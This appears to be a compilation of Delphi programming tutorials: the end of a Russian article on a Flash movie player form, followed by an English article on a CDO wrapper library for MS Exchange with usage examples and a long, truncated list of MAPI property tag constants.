    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure TrackBar1Change(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
{ Private declarations }
  public
{ Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if open1.Execute then
    begin
      flash1.Movie := open1.FileName;
      trackbar1.Max := flash1.TotalFrames;
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  flash1.Play;
end;

procedure TForm1.TrackBar1Change(Sender: TObject);
begin
  if Flash1.IsPlaying = true then Flash1.Stop;
  flash1.GotoFrame(trackbar1.position);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  flash1.Stop;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  trackbar1.Position := flash1.CurrentFrame;
end;

end.

Ну вот и все. Как оказалось ничего сложного.

Дополнительная информация
Автор: Михаил Христосенко.

Если у вас возникнут какие-нибудь вопросы, предложения и пожелания, а также ваши отзывы шлите по почте: kikoz@kemtel.ru

Заходите на мой сайт http://MihanDelphi.narod.ru там вы найдете множество программ (моих и не только), компонентов, статей и еще множество полезностей для Дельфера.

Взято с сайта www.emanual.ru


MS Exchange API

MS Exchange API via CDO (Collaboration Data Objects)

CDO (Collaboration Data Objects) Base Library.
( Talking to MS-Exchange server.)

This is a vast subject that is beyond the scope of this article to detail all here. This library provides the basic building blocks for someone who wants to develop using CDO. There are many references on the Net, but your best source is the CDO.HLP file that ships on the Exchange CD or site http://www.cdolive.com/start.htmhttp://www.cdolive.com/start.htm. The cdolive.com site is an excellent reference site which discusses all aspects including installation, versions and also downloads. (CDO.HLP is downloadable from here)

My basic class provides the following functionality ..

Utility functions and methods

    function CdoNothing(Obj : OleVariant) : boolean;
    function CdoDefaultProfile : string;
    function VarNothing : IDispatch;

    procedure CdoDisposeList(WorkList : TList);
    procedure CdoDisposeObjects(WorkStrings : TStrings);
    procedure CdoDisposeNodes(WorkData : TTreeNodes);

Create constructors that allow Default profile logon,Specific profile logon and an Impersonated user logon with profile. (This is required for successful logon in Windows Service Applications)

      constructor Create; overload;
   constructor Create(const Profile : string); overload;
   constructor Create(const Profile : string;
                       const UserName : string;
                       const Domain : string;
                       const Password : string); overload;

Methods for loading stringlists, treeviews etc. and Object iteration.

     function LoadAddressList(StringList : TStrings) : boolean;
   function LoadObjectList(const FolderOle : OleVariant;
                           List : TList) : boolean;
   function LoadEMailTree(TV : TTreeView;
                          Expand1stLevel : boolean = false;
                          SubjectMask : string = '') : boolean;
   function LoadContactList(const FolderOle : OleVariant;
                            Items : TStrings) : boolean; overload;
   function LoadContactList(const FolderName : string;
                            Items : TStrings) : boolean; overload;
   procedure ShowContactDetails(Contact : OleVariant);

The above load various lists into stringlists,lists or treeviews. Freeing of lists,object constructs within these data structures are freed at each successive call to the load, however the final Deallocation is the responsibility of the developer, You can do this yourself or use the utility functions CdoDisposeXXX(). See code documentation for further understanding.

   function First(const FolderOle : OleVariant;
                  out ItemOle : OleVariant) : boolean;
   function Last(const FolderOle : OleVariant;
                 out ItemOle : OleVariant) : boolean;
   function Next(const FolderOle : OleVariant;
                 out ItemOle : OleVariant) : boolean;
   function Prior(const FolderOle : OleVariant;
                  out ItemOle : OleVariant) : boolean;
   function AsString(const ItemOle : Olevariant;
                     const FieldIdConstant : DWORD) : string;

The above provide iterations thru object such as Inbox,Contacts etc. The AsString returns a fields value from the object such as Email Address,Name,Company Name etc. (There are miriads of these defined in the CONST section "Field Tags").

Properties

         property CurrentUser : OleVariant read FCurrentUser;
     property Connected : boolean read FConnected;
     property LastErrorMess : string read FlastError;
     property LastErrorCode : DWORD read FlastErrorCode;
     property InBox : OleVariant read FOleInBox;
     property OutBox : OleVariant read FOleOutBox;
     property DeletedItems : Olevariant read FOleDeletedItems;
     property SentItems : Olevariant read FOleSentItems;
     property GlobalAddressList : Olevariant read FOleGlobalAddressList;
     property Contacts : Olevariant read FOleContacts;
     property Session : OleVariant read FOleSession;
     property Version : string read GetFVersion;
     property MyName : string read FMyName;
     property MyEMailAddress : string read FMyEMailAddress;

The Create constructor sets up the predefined objects InBox, OutBox, DeletedItems, SentItems, GlobalAddressList, Session and Contacts. The other properties are self explanatary.

As I mentioned earlier the functionality of CDO is vast as objects such as InBox have many methods and properties that included Updating,Inserting Deleting etc. The CDO.HLP file will help to expose these for you. My class is the base of CDO to help simplify building applications and is probably best demonstrated by code snippet examples. Believe me a whole book could be written on this subject, but it is well worth studying as a faster alternative to using MS Outlook API.

uses Cdo_Lib;
var
  Cdo: TcdoSession;
  MailItem: OleVariant;

  // Iterate thru Emails in InBox
begin
  Cdo := TCdoSession.Create;

  if Cdo.Active then
  begin
    Cdo.First(Cdo.InBox, MailItem);

    while true do
    begin
      if not Cdo.Nothing(MailItem) then
      begin
        Subject := MailItem.Subject;

        EMailAddress := Cdo.AsString(MailItem.Sender, CdoPR_EMAIL_AT_ADDRESS);
        EMailName := MailItem.Sender.Name;
        BodyText := MailItem.Text;

        // Do something with data and delete the EMail
        MailItem.Delete;
        // Get the next Email
      end;

      MailItem := Cdo.Next(Cdo.Inbox.MailItem);
    end;
  end;
  Cdo.Free;
end;

// Example of loading emails into a treeview and displaying on treeview click

unit UBrowse;
interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, ToolWin, Menus, ExtCtrls, StdCtrls, Buttons, ImgList,
  CDO_Lib;

type
  TFBrowse = class(TForm)
    Panel1: TPanel;
    Panel3: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    lbFrom: TLabel;
    lbDate: TLabel;
    Memo1: TMemo;
    Panel2: TPanel;
    OKBtn: TBitBtn;
    tvCalls: TTreeView;
    ImageList1: TImageList;
    StatusBar1: TStatusBar;
    procedure FormShow(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure tvCallsClick(Sender: TObject);
    procedure btnPrintClick(Sender: TObject);
  private
    { Private declarations }
    Doc: OleVariant;
    Cdo: TCdoMapiSession;
  public
    { Public declarations }
  end;

var
  FBrowse: TFBrowse;

implementation

{$R *.DFM}

procedure TFBrowse.FormShow(Sender: TObject);
var
  TN: TTreeNode;
begin
  Screen.Cursor := crHourGlass;
  Application.ProcessMessages;
  Cdo := TCdoMapiSession.Create;
  Cdo.LoadEMailTree(tvCalls, true, '*Support ---*');
  tvCalls.SortType := stText;
  TN := tvCalls.Items[0];
  TN.Expand(false);
  tvCalls.SetFocus;
  Screen.Cursor := crDefault;
end;

procedure TFBrowse.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  CdoDisposeNodes(TvCalls.Items);
  Cdo.Free;
end;

procedure TFBrowse.tvCallsClick(Sender: TObject);
var
  TN: TTreeNode;
begin
  TN := tvCalls.Selected;
  Memo1.Clear;
  lbFrom.Caption := '';
  lbDate.Caption := '';

  if TN.Data <> nil then
  begin
    Doc := TOleVarPtr(TN.Data)^;
    btnPrint.Enabled := true;
    Memo1.Text := Doc.Text;
    lbFrom.Caption := Doc.Sender.Name;
    lbDate.Caption := FormatDateTime('dd/mm/yyyy hh:nn', Doc.TimeSent);
  end;
end;

end.

unit CDO_Lib;

// =============================================================================
// CDO and MAPI Library (See CDO.HLP)
//
// The object model for the CDO Library is hierarchical. The following table
// shows the containment hierarchy. Each indented object is a child of the
// object under which it is indented. An object is the parent of every object
// at the next level of indentation under it. For example, an Attachments
// collection and a Recipients collection are both child objects of a
// Message object, and a Messages collection is a parent object of a
// Message object. However, a Messages collection is not a parent object of a
// Recipients collection.
//
//  Session
//        AddressLists collection
//              AddressList
//                    Fields collection
//                          Field
//                    AddressEntries collection
//                          AddressEntry
//                                Fields collection
//                                      Field
//                          AddressEntryFilter
//                                Fields collection
//                                      Field
//        Folder (Inbox or Outbox)
//              Fields collection
//                    Field
//              Folders collection
//                    Folder
//                          Fields collection
//                                Field
//                          [ Folders ... Folder ... ]
//                          Messages collection
//                                AppointmentItem
//                                      RecurrencePattern
//                                GroupHeader
//                                MeetingItem
//                                Message
//                                      Attachments collection
//                                            Attachment
//                                                  Fields collection
//                                                        Field
//                                      Fields collection
//                                            Field
//                                      Recipients collection
//                                            Recipient
//                                                  AddressEntry
//                                                        Fields collection
//                                                              Field
//                                MessageFilter
//                                      Fields collection
//                                            Field
//        InfoStores collection
//              InfoStore
//                    Fields collection
//                          Field
//                    Folder [as expanded under Folders]
//
//  The notation "[ Folders ... Folder ... ]" signifies that any Folder object
//  can contain a Folders collection of subfolders, and each subfolder can
//  contain a Folders collection of more subfolders, nested to an
//  arbitrary level.
// =============================================================================

interface

uses Forms, Windows, SysUtils, Classes, Registry, ComObj, Variants, ComCtrls,
  Controls, Masks;

const
  // MAPI Property Tags

  // Field Tags
  CdoPR_7BIT_DISPLAY_NAME = $39FF001E;
  CdoPR_AB_DEFAULT_DIR = $3D060102;
  CdoPR_AB_DEFAULT_PAB = $3D070102;
  CdoPR_AB_PROVIDER_ID = $36150102;
  CdoPR_AB_PROVIDERS = $3D010102;
  CdoPR_AB_SEARCH_PATH = $3D051102;
  CdoPR_AB_SEARCH_PATH_UPDATE = $3D110102;
  CdoPR_ACCESS = $0FF40003;
  CdoPR_ACCESS_LEVEL = $0FF70003;
  CdoPR_ACCOUNT = $3A00001E;
  CdoPR_ACKNOWLEDGEMENT_MODE = $00010003;
  CdoPR_ADDRTYPE = $3002001E;
  CdoPR_ALTERNATE_RECIPIENT = $3A010102;
  CdoPR_ALTERNATE_RECIPIENT_ALLOWED = $0002000B;
  CdoPR_ANR = $360C001E;
  CdoPR_ASSISTANT = $3A30001E;
  CdoPR_ASSISTANT_TELEPHONE_NUMBER = $3A2E001E;
  CdoPR_ASSOC_CONTENT_COUNT = $36170003;
  CdoPR_ATTACH_ADDITIONAL_INFO = $370F0102;
  CdoPR_ATTACH_DATA_BIN = $37010102;
  CdoPR_ATTACH_DATA_OBJ = $3701000D;
  CdoPR_ATTACH_ENCODING = $37020102;
  CdoPR_ATTACH_EXTENSION = $3703001E;
  CdoPR_ATTACH_FILENAME = $3704001E;
  CdoPR_ATTACH_LONG_FILENAME = $3707001E;
  CdoPR_ATTACH_LONG_PATHNAME = $370D001E;
  CdoPR_ATTACH_METHOD = $37050003;
  CdoPR_ATTACH_MIME_TAG = $370E001E;
  CdoPR_ATTACH_NUM = $0E210003;
  CdoPR_ATTACH_PATHNAME = $3708001E;
  CdoPR_ATTACH_RENDERING = $37090102;
  CdoPR_ATTACH_SIZE = $0E200003;
  CdoPR_ATTACH_TAG = $370A0102;
  CdoPR_ATTACH_TRANSPORT_NAME = $370C001E;
  CdoPR_ATTACHMENT_X400_PARAMETERS = $37000102;
  CdoPR_AUTHORIZING_USERS = $00030102;
  CdoPR_AUTO_FORWARD_COMMENT = $0004001E;
  CdoPR_AUTO_FORWARDED = $0005000B;
  CdoPR_BEEPER_TELEPHONE_NUMBER = $3A21001E;
  CdoPR_BIRTHDAY = $3A420040;
  CdoPR_BODY = $1000001E;
  CdoPR_BODY_CRC = $0E1C0003;
  CdoPR_BUSINESS_ADDRESS_CITY = $3A27001E;
  CdoPR_BUSINESS_ADDRESS_COUNTRY = $3A26001E;
  CdoPR_BUSINESS_ADDRESS_POST_OFFICE_BOX = $3A2B001E;
  CdoPR_BUSINESS_ADDRESS_POSTAL_CODE = $3A2A001E;
  CdoPR_BUSINESS_ADDRESS_STATE_OR_PROVINCE = $3A28001E;
  CdoPR_BUSINESS_ADDRESS_STREET = $3A29001E;
  CdoPR_BUSINESS_FAX_NUMBER = $3A24001E;
  CdoPR_BUSINESS_HOME_PAGE = $3A51001E;
  CdoPR_BUSINESS_TELEPHONE_NUMBER = $3A08001E;
  CdoPR_BUSINESS2_TELEPHONE_NUMBER = $3A1B001E;
  CdoPR_CALLBACK_TELEPHONE_NUMBER = $3A02001E;
  CdoPR_CAR_TELEPHONE_NUMBER = $3A1E001E;
  CdoPR_CELLULAR_TELEPHONE_NUMBER = $3A1C001E;
  CdoPR_CHILDRENS_NAMES = $3A58101E;
  CdoPR_CLIENT_SUBMIT_TIME = $00390040;
  CdoPR_COMMENT = $3004001E;
  CdoPR_COMMON_VIEWS_ENTRYID = $35E60102;
  CdoPR_COMPANY_MAIN_PHONE_NUMBER = $3A57001E;
  CdoPR_COMPANY_NAME = $3A16001E;
  CdoPR_COMPUTER_NETWORK_NAME = $3A49001E;
  CdoPR_CONTACT_ADDRTYPES = $3A54101E;
  CdoPR_CONTACT_DEFAULT_ADDRESS_INDEX = $3A550003;
  CdoPR_CONTACT_EMAIL_ADDRESSES = $3A56101E;
  CdoPR_CONTACT_ENTRYIDS = $3A531102;
  CdoPR_CONTACT_VERSION = $3A520048;
  CdoPR_CONTAINER_CLASS = $3613001E;
  CdoPR_CONTAINER_CONTENTS = $360F000D;
  CdoPR_CONTAINER_FLAGS = $36000003;
  CdoPR_CONTAINER_HIERARCHY = $360E000D;
  CdoPR_CONTAINER_MODIFY_VERSION = $36140014;
  CdoPR_CONTENT_CONFIDENTIALITY_ALGORITHM_ID = $00060102;
  CdoPR_CONTENT_CORRELATOR = $00070102;
  CdoPR_CONTENT_COUNT = $36020003;
  CdoPR_CONTENT_IDENTIFIER = $0008001E;
  CdoPR_CONTENT_INTEGRITY_CHECK = $0C000102;
  CdoPR_CONTENT_LENGTH = $00090003;
  CdoPR_CONTENT_RETURN_REQUESTED = $000A000B;
  CdoPR_CONTENT_UNREAD = $36030003;
  CdoPR_CONTENTS_SORT_ORDER = $360D1003;
  CdoPR_CONTROL_FLAGS = $3F000003;
  CdoPR_CONTROL_ID = $3F070102;
  CdoPR_CONTROL_STRUCTURE = $3F010102;
  CdoPR_CONTROL_TYPE = $3F020003;
  CdoPR_CONVERSATION_INDEX = $00710102;
  CdoPR_CONVERSATION_KEY = $000B0102;
  CdoPR_CONVERSATION_TOPIC = $0070001E;
  CdoPR_CONVERSION_EITS = $000C0102;
  CdoPR_CONVERSION_PROHIBITED = $3A03000B;
  CdoPR_CONVERSION_WITH_LOSS_PROHIBITED = $000D000B;
  CdoPR_CONVERTED_EITS = $000E0102;
  CdoPR_CORRELATE = $0E0C000B;
  CdoPR_CORRELATE_MTSID = $0E0D0102;
  CdoPR_COUNTRY = $3A26001E;
  CdoPR_CREATE_TEMPLATES = $3604000D;
  CdoPR_CREATION_TIME = $30070040;
  CdoPR_CREATION_VERSION = $0E190014;
  CdoPR_CURRENT_VERSION = $0E000014;
  CdoPR_CUSTOMER_ID = $3A4A001E;
  CdoPR_DEF_CREATE_DL = $36110102;
  CdoPR_DEF_CREATE_MAILUSER = $36120102;
  CdoPR_DEFAULT_PROFILE = $3D04000B;
  CdoPR_DEFAULT_STORE = $3400000B;
  CdoPR_DEFAULT_VIEW_ENTRYID = $36160102;
  CdoPR_DEFERRED_DELIVERY_TIME = $000F0040;
  CdoPR_DELEGATION = $007E0102;
  CdoPR_DELETE_AFTER_SUBMIT = $0E01000B;
  CdoPR_DELIVER_TIME = $00100040;
  CdoPR_DELIVERY_POINT = $0C070003;
  CdoPR_DELTAX = $3F030003;
  CdoPR_DELTAY = $3F040003;
  CdoPR_DEPARTMENT_NAME = $3A18001E;
  CdoPR_DEPTH = $30050003;
  CdoPR_DETAILS_TABLE = $3605000D;
  CdoPR_DISC_VAL = $004A000B;
  CdoPR_DISCARD_REASON = $00110003;
  CdoPR_DISCLOSE_RECIPIENTS = $3A04000B;
  CdoPR_DISCLOSURE_OF_RECIPIENTS = $0012000B;
  CdoPR_DISCRETE_VALUES = $0E0E000B;
  CdoPR_DISPLAY_BCC = $0E02001E;
  CdoPR_DISPLAY_CC = $0E03001E;
  CdoPR_DISPLAY_NAME = $3001001E;
  CdoPR_DISPLAY_NAME_PREFIX = $3A45001E;
  CdoPR_DISPLAY_TO = $0E04001E;
  CdoPR_DISPLAY_TYPE = $39000003;
  CdoPR_DL_EXPANSION_HISTORY = $00130102;
  CdoPR_DL_EXPANSION_PROHIBITED = $0014000B;
  CdoPR_EMAIL_ADDRESS = $3003001E;
  CdoPR_EMAIL_AT_ADDRESS = $39FE001E;
  CdoPR_END_DATE = $00610040;
  CdoPR_ENTRYID = $0FFF0102;
  CdoPR_EXPIRY_TIME = $00150040;
  CdoPR_EXPLICIT_CONVERSION = $0C010003;
  CdoPR_FILTERING_HOOKS = $3D080102;
  CdoPR_FINDER_ENTRYID = $35E70102;
  CdoPR_FOLDER_ASSOCIATED_CONTENTS = $3610000D;
  CdoPR_FOLDER_TYPE = $36010003;
  CdoPR_FORM_CATEGORY = $3304001E;
  CdoPR_FORM_CATEGORY_SUB = $3305001E;
  CdoPR_FORM_CLSID = $33020048;
  CdoPR_FORM_CONTACT_NAME = $3303001E;
  CdoPR_FORM_DESIGNER_GUID = $33090048;
  CdoPR_FORM_DESIGNER_NAME = $3308001E;
  CdoPR_FORM_HIDDEN = $3307000B;
  CdoPR_FORM_HOST_MAP = $33061003;
  CdoPR_FORM_MESSAGE_BEHAVIOR = $330A0003;
  CdoPR_FORM_VERSION = $3301001E;
  CdoPR_FTP_SITE = $3A4C001E;
  CdoPR_GENDER = $3A4D0002;
  CdoPR_GENERATION = $3A05001E;
  CdoPR_GIVEN_NAME = $3A06001E;
  CdoPR_GOVERNMENT_ID_NUMBER = $3A07001E;
  CdoPR_HASATTACH = $0E1B000B;
  CdoPR_HEADER_FOLDER_ENTRYID = $3E0A0102;
  CdoPR_HOBBIES = $3A43001E;
  CdoPR_HOME_ADDRESS_CITY = $3A59001E;
  CdoPR_HOME_ADDRESS_COUNTRY = $3A5A001E;
  CdoPR_HOME_ADDRESS_POST_OFFICE_BOX = $3A5E001E;
  CdoPR_HOME_ADDRESS_POSTAL_CODE = $3A5B001E;
  CdoPR_HOME_ADDRESS_STATE_OR_PROVINCE = $3A5C001E;
  CdoPR_HOME_ADDRESS_STREET = $3A5D001E;
  CdoPR_HOME_FAX_NUMBER = $3A25001E;
  CdoPR_HOME_TELEPHONE_NUMBER = $3A09001E;
  CdoPR_HOME2_TELEPHONE_NUMBER = $3A2F001E;
  CdoPR_ICON = $0FFD0102;
  CdoPR_IDENTITY_DISPLAY = $3E00001E;
  CdoPR_IDENTITY_ENTRYID = $3E010102;
  CdoPR_IDENTITY_SEARCH_KEY = $3E050102;
  CdoPR_IMPLICIT_CONVERSION_PROHIBITED = $0016000B;
  CdoPR_IMPORTANCE = $00170003;
  CdoPR_INCOMPLETE_COPY = $0035000B;
  CdoPR_INITIAL_DETAILS_PANE = $3F080003;
  CdoPR_INITIALS = $3A0A001E;
  CdoPR_INSTANCE_KEY = $0FF60102;
  CdoPR_INTERNET_APPROVED = $1030001E;
  CdoPR_INTERNET_ARTICLE_NUMBER = $0E230003;
  CdoPR_INTERNET_CONTROL = $1031001E;
  CdoPR_INTERNET_DISTRIBUTION = $1032001E;
  CdoPR_INTERNET_FOLLOWUP_TO = $1033001E;
  CdoPR_INTERNET_LINES = $10340003;
  CdoPR_INTERNET_MESSAGE_ID = $1035001E;
  CdoPR_INTERNET_NEWSGROUPS = $1036001E;
  CdoPR_INTERNET_NNTP_PATH = $1038001E;
  CdoPR_INTERNET_ORGANIZATION = $1037001E;
  CdoPR_INTERNET_PRECEDENCE = $1041001E;
  CdoPR_INTERNET_REFERENCES = $1039001E;
  CdoPR_IPM_ID = $00180102;
  CdoPR_IPM_OUTBOX_ENTRYID = $35E20102;
  CdoPR_IPM_OUTBOX_SEARCH_KEY = $34110102;
  CdoPR_IPM_RETURN_REQUESTED = $0C02000B;
  CdoPR_IPM_SENTMAIL_ENTRYID = $35E40102;
  CdoPR_IPM_SENTMAIL_SEARCH_KEY = $34130102;
  CdoPR_IPM_SUBTREE_ENTRYID = $35E00102;
  CdoPR_IPM_SUBTREE_SEARCH_KEY = $34100102;
  CdoPR_IPM_WASTEBASKET_ENTRYID = $35E30102;
  CdoPR_IPM_WASTEBASKET_SEARCH_KEY = $34120102;
  CdoPR_ISDN_NUMBER = $3A2D001E;
  CdoPR_KEYWORD = $3A0B001E;
  CdoPR_LANGUAGE = $3A0C001E;
  CdoPR_LANGUAGES = $002F001E;
  CdoPR_LAST_MODIFICATION_TIME = $30080040;
  CdoPR_LATEST_DELIVERY_TIME = $00190040;
  CdoPR_LOCALITY = $3A27001E;
  CdoPR_LOCATION = $3A0D001E;
  CdoPR_MAIL_PERMISSION = $3A0E000B;
  CdoPR_MANAGER_NAME = $3A4E001E;
  CdoPR_MAPPING_SIGNATURE = $0FF80102;
  CdoPR_MDB_PROVIDER = $34140102;
  CdoPR_MESSAGE_ATTACHMENTS = $0E13000D;
  CdoPR_MESSAGE_CC_ME = $0058000B;
  CdoPR_MESSAGE_CLASS = $001A001E;
  CdoPR_MESSAGE_DELIVERY_ID = $001B0102;
  CdoPR_MESSAGE_DELIVERY_TIME = $0E060040;
  CdoPR_MESSAGE_DOWNLOAD_TIME = $0E180003;
  CdoPR_MESSAGE_FLAGS = $0E070003;
  CdoPR_MESSAGE_RECIP_ME = $0059000B;
  CdoPR_MESSAGE_RECIPIENTS = $0E12000D;
  CdoPR_MESSAGE_SECURITY_LABEL = $001E0102;
  CdoPR_MESSAGE_SIZE = $0E080003;
  CdoPR_MESSAGE_SUBMISSION_ID = $00470102;
  CdoPR_MESSAGE_TO_ME = $0057000B;
  CdoPR_MESSAGE_TOKEN = $0C030102;
  CdoPR_MHS_COMMON_NAME = $3A0F001E;
  CdoPR_MIDDLE_NAME = $3A44001E;
  CdoPR_MINI_ICON = $0FFC0102;
  CdoPR_MOBILE_TELEPHONE_NUMBER = $3A1C001E;
  CdoPR_MODIFY_VERSION = $0E1A0014;
  CdoPR_MSG_STATUS = $0E170003;
  CdoPR_NDR_DIAG_CODE = $0C050003;
  CdoPR_NDR_REASON_CODE = $0C040003;
  CdoPR_NEWSGROUP_NAME = $0E24001E;
  CdoPR_NICKNAME = $3A4F001E;
  CdoPR_NNTP_XREF = $1040001E;
  CdoPR_NON_RECEIPT_NOTIFICATION_REQUESTED = $0C06000B;
  CdoPR_NON_RECEIPT_REASON = $003E0003;
  CdoPR_NORMALIZED_SUBJECT = $0E1D001E;
  CdoPR_OBJECT_TYPE = $0FFE0003;
  CdoPR_OBSOLETED_IPMS = $001F0102;
  CdoPR_OFFICE_LOCATION = $3A19001E;
  CdoPR_OFFICE_TELEPHONE_NUMBER = $3A08001E;
  CdoPR_OFFICE2_TELEPHONE_NUMBER = $3A1B001E;
  CdoPR_ORGANIZATIONAL_ID_NUMBER = $3A10001E;
  CdoPR_ORIG_MESSAGE_CLASS = $004B001E;
  CdoPR_ORIGIN_CHECK = $00270102;
  CdoPR_ORIGINAL_AUTHOR_ADDRTYPE = $0079001E;
  CdoPR_ORIGINAL_AUTHOR_EMAIL_ADDRESS = $007A001E;
  CdoPR_ORIGINAL_AUTHOR_ENTRYID = $004C0102;
  CdoPR_ORIGINAL_AUTHOR_NAME = $004D001E;
  CdoPR_ORIGINAL_AUTHOR_SEARCH_KEY = $00560102;
  CdoPR_ORIGINAL_DELIVERY_TIME = $00550040;
  CdoPR_ORIGINAL_DISPLAY_BCC = $0072001E;
  CdoPR_ORIGINAL_DISPLAY_CC = $0073001E;
  CdoPR_ORIGINAL_DISPLAY_NAME = $3A13001E;
  CdoPR_ORIGINAL_DISPLAY_TO = $0074001E;
  CdoPR_ORIGINAL_EITS = $00210102;
  CdoPR_ORIGINAL_ENTRYID = $3A120102;
  CdoPR_ORIGINAL_SEARCH_KEY = $3A140102;
  CdoPR_ORIGINAL_SENDER_ADDRTYPE = $0066001E;
  CdoPR_ORIGINAL_SENDER_EMAIL_ADDRESS = $0067001E;
  CdoPR_ORIGINAL_SENDER_ENTRYID = $005B0102;
  CdoPR_ORIGINAL_SENDER_NAME = $005A001E;
  CdoPR_ORIGINAL_SENDER_SEARCH_KEY = $005C0102;
  CdoPR_ORIGINAL_SENSITIVITY = $002E0003;
  CdoPR_ORIGINAL_SENT_REPRESENTING_ADDRTYPE = $0068001E;
  CdoPR_ORIGINAL_SENT_REPRESENTING_EMAIL_ADDR = $0069001E;
  CdoPR_ORIGINAL_SENT_REPRESENTING_ENTRYID = $005E0102;
  CdoPR_ORIGINAL_SENT_REPRESENTING_NAME = $005D001E;
  CdoPR_ORIGINAL_SENT_REPRESENTING_SEARCH_KEY = $005F0102;
  CdoPR_ORIGINAL_SUBJECT = $0049001E;
  CdoPR_ORIGINAL_SUBMIT_TIME = $004E0040;
  CdoPR_ORIGINALLY_INTENDED_RECIP_ADDRTYPE = $007B001E;
  CdoPR_ORIGINALLY_INTENDED_RECIP_EMAIL_ADDR = $007C001E;
  CdoPR_ORIGINALLY_INTENDED_RECIP_ENTRYID = $10120102;
  CdoPR_ORIGINALLY_INTENDED_RECIPIENT_NAME = $00200102;
  CdoPR_ORIGINATING_MTA_CERTIFICATE = $0E250102;
  CdoPR_ORIGINATOR_AND_DL_EXPANSION_HISTORY = $10020102;
  CdoPR_ORIGINATOR_CERTIFICATE = $00220102;
  CdoPR_ORIGINATOR_DELIVERY_REPORT_REQUESTED = $0023000B;
  CdoPR_ORIGINATOR_NON_DELIVERY_REPORT_REQ = $0C08000B;
  CdoPR_ORIGINATOR_REQUESTED_ALTERNATE_RECIP = $0C090102;
  CdoPR_ORIGINATOR_RETURN_ADDRESS = $00240102;
  CdoPR_OTHER_ADDRESS_CITY = $3A5F001E;
  CdoPR_OTHER_ADDRESS_COUNTRY = $3A60001E;
  CdoPR_OTHER_ADDRESS_POST_OFFICE_BOX = $3A64001E;
  CdoPR_OTHER_ADDRESS_POSTAL_CODE = $3A61001E;
  CdoPR_OTHER_ADDRESS_STATE_OR_PROVINCE = $3A62001E;
  CdoPR_OTHER_ADDRESS_STREET = $3A63001E;
  CdoPR_OTHER_TELEPHONE_NUMBER = $3A1F001E;
  CdoPR_OWN_STORE_ENTRYID = $3E060102;
  CdoPR_OWNER_APPT_ID = $00620003;
  CdoPR_PAGER_TELEPHONE_NUMBER = $3A21001E;
  CdoPR_PARENT_DISPLAY = $0E05001E;
  CdoPR_PARENT_ENTRYID = $0E090102;
  CdoPR_PARENT_KEY = $00250102;
  CdoPR_PERSONAL_HOME_PAGE = $3A50001E;
  CdoPR_PHYSICAL_DELIVERY_BUREAU_FAX_DELIVERY = $0C0A000B;
  CdoPR_PHYSICAL_DELIVERY_MODE = $0C0B0003;
  CdoPR_PHYSICAL_DELIVERY_REPORT_REQUEST = $0C0C0003;
  CdoPR_PHYSICAL_FORWARDING_ADDRESS = $0C0D0102;
  CdoPR_PHYSICAL_FORWARDING_ADDRESS_REQUESTED = $0C0E000B;
  CdoPR_PHYSICAL_FORWARDING_PROHIBITED = $0C0F000B;
  CdoPR_PHYSICAL_RENDITION_ATTRIBUTES = $0C100102;
  CdoPR_POST_FOLDER_ENTRIES = $103B0102;
  CdoPR_POST_FOLDER_NAMES = $103C001E;
  CdoPR_POST_OFFICE_BOX = $3A2B001E;
  CdoPR_POST_REPLY_DENIED = $103F0102;
  CdoPR_POST_REPLY_FOLDER_ENTRIES = $103D0102;
  CdoPR_POST_REPLY_FOLDER_NAMES = $103E001E;
  CdoPR_POSTAL_ADDRESS = $3A15001E;
  CdoPR_POSTAL_CODE = $3A2A001E;
  CdoPR_PREFERRED_BY_NAME = $3A47001E;
  CdoPR_PREPROCESS = $0E22000B;
  CdoPR_PRIMARY_CAPABILITY = $39040102;
  CdoPR_PRIMARY_FAX_NUMBER = $3A23001E;
  CdoPR_PRIMARY_TELEPHONE_NUMBER = $3A1A001E;
  CdoPR_PRIORITY = $00260003;
  CdoPR_PROFESSION = $3A46001E;
  CdoPR_PROFILE_NAME = $3D12001E;
  CdoPR_PROOF_OF_DELIVERY = $0C110102;
  CdoPR_PROOF_OF_DELIVERY_REQUESTED = $0C12000B;
  CdoPR_PROOF_OF_SUBMISSION = $0E260102;
  CdoPR_PROOF_OF_SUBMISSION_REQUESTED = $0028000B;
  CdoPR_PROVIDER_DISPLAY = $3006001E;
  CdoPR_PROVIDER_DLL_NAME = $300A001E;
  CdoPR_PROVIDER_ORDINAL = $300D0003;
  CdoPR_PROVIDER_SUBMIT_TIME = $00480040;
  CdoPR_PROVIDER_UID = $300C0102;
  CdoPR_RADIO_TELEPHONE_NUMBER = $3A1D001E;
  CdoPR_RCVD_REPRESENTING_ADDRTYPE = $0077001E;
  CdoPR_RCVD_REPRESENTING_EMAIL_ADDRESS = $0078001E;
  CdoPR_RCVD_REPRESENTING_ENTRYID = $00430102;
  CdoPR_RCVD_REPRESENTING_NAME = $0044001E;
  CdoPR_RCVD_REPRESENTING_SEARCH_KEY = $00520102;
  CdoPR_READ_RECEIPT_ENTRYID = $00460102;
  CdoPR_READ_RECEIPT_REQUESTED = $0029000B;
  CdoPR_READ_RECEIPT_SEARCH_KEY = $00530102;
  CdoPR_RECEIPT_TIME = $002A0040;
  CdoPR_RECEIVE_FOLDER_SETTINGS = $3415000D;
  CdoPR_RECEIVED_BY_ADDRTYPE = $0075001E;
  CdoPR_RECEIVED_BY_EMAIL_ADDRESS = $0076001E;
  CdoPR_RECEIVED_BY_ENTRYID = $003F0102;
  CdoPR_RECEIVED_BY_NAME = $0040001E;
  CdoPR_RECEIVED_BY_SEARCH_KEY = $00510102;
  CdoPR_RECIPIENT_CERTIFICATE = $0C130102;
  CdoPR_RECIPIENT_NUMBER_FOR_ADVICE = $0C14001E;
  CdoPR_RECIPIENT_REASSIGNMENT_PROHIBITED = $002B000B;
  CdoPR_RECIPIENT_STATUS = $0E150003;
  CdoPR_RECIPIENT_TYPE = $0C150003;
  CdoPR_RECORD_KEY = $0FF90102;
  CdoPR_REDIRECTION_HISTORY = $002C0102;
  CdoPR_REFERRED_BY_NAME = $3A47001E;
